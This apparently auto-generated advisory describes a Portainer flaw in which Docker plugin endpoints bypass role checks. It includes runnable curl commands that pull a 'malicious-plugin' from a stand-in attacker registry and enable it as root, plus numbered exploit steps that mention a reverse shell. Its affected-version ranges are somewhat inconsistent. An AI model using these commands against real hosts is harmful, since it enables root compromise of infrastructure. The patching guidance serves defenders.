Listen to this Post
How the mentioned CVE works:
The vulnerability stems from Portainer’s Docker API proxy using a prefix-allowlist for routing requests.
Only handlers in `prefixProxyFuncMap` (e.g., containers, images, services) perform RBAC checks.
The `/plugins/` endpoints were never added to this allowlist since Portainer’s inception.
Any request to /plugins/pull, /plugins/{name}/enable, or other plugin operations thus falls through.
The fallback `executeDockerRequest()` forwards the request directly to the Docker daemon.
No authorization check occurs for plugin endpoints, bypassing Portainer’s RBAC entirely.
A non-admin Portainer user with endpoint access (Standard User role) can exploit this.
The attacker sends a `POST /plugins/pull` with a JSON body specifying a malicious plugin image.
They can choose any registry (public, private, or attacker-controlled).
The plugin can declare `CAP_SYS_ADMIN` and host path mounts in its configuration.
After the image is pulled, the attacker calls POST /plugins/{name}/enable.
Docker enables the plugin, which executes as `root` on the host system.
The plugin code can read /etc/shadow, mount host directories, or install backdoors.
No further Portainer checks happen because the proxy bypass continues for all plugin operations.
The attacker effectively gains root-equivalent access to the Docker host.
This affects every Portainer release from 2.33.0 up to (but not including) fixed versions.
The flaw is CWE-862 (Missing Authorization) with CVSS 9.4 (Critical).
Fix adds `/plugins` to the allowlist, forcing plugin requests through proper RBAC handlers.
Workaround: revoke Docker endpoint access for non-admin users until patched.
dailycve form:
Platform: Portainer
Version: 2.33.0-2.40.x
Vulnerability: Missing Authorization
Severity: Critical
date: 2026-05-07
Prediction: Already patched 2026-05-07
What Undercode Say:
Check if vulnerable: attempt to list plugins (should be forbidden for non-admin)
curl -s -X GET "http://portainer:9000/api/endpoints/1/docker/plugins" \
-H "Authorization: Bearer $NON_ADMIN_TOKEN"
Exploit steps (simulated)
Pull malicious plugin from attacker registry
curl -X POST "http://portainer:9000/api/endpoints/1/docker/plugins/pull" \
-H "Authorization: Bearer $NON_ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"remote": "attacker-registry.com/malicious-plugin:latest"}'
Enable plugin (executes as root on host)
curl -X POST "http://portainer:9000/api/endpoints/1/docker/plugins/malicious-plugin/enable" \
-H "Authorization: Bearer $NON_ADMIN_TOKEN"
Protection: upgrade to fixed version
docker stop portainer && docker rm portainer
docker pull portainer/portainer-ce:2.41.0
docker run -d -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer-ce:2.41.0
how Exploit:
- Authenticate as non-admin Portainer user with endpoint access.
2. Send POST /api/endpoints/{id}/docker/plugins/pull with malicious plugin reference.
3. Wait for pull completion (check via /plugins).
4. Send POST /api/endpoints/{id}/docker/plugins/{name}/enable.
- Plugin runs as root; attacker controls host via reverse shell or file read.
Protection from this CVE
- Upgrade to Portainer 2.33.8, 2.39.2, or 2.41.0 immediately.
- If unable to upgrade, revoke Docker endpoint access for all non-admin users via RBAC.
- Block outbound registry access from Portainer host to untrusted registries.
- Monitor Docker plugin events for unexpected `pull` or `enable` actions.
Impact:
Full host compromise. An attacker with a low-privileged Portainer account can execute arbitrary code as root on the Docker host, read/write host filesystem, escape containers, pivot to other hosts, and permanently backdoor the infrastructure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

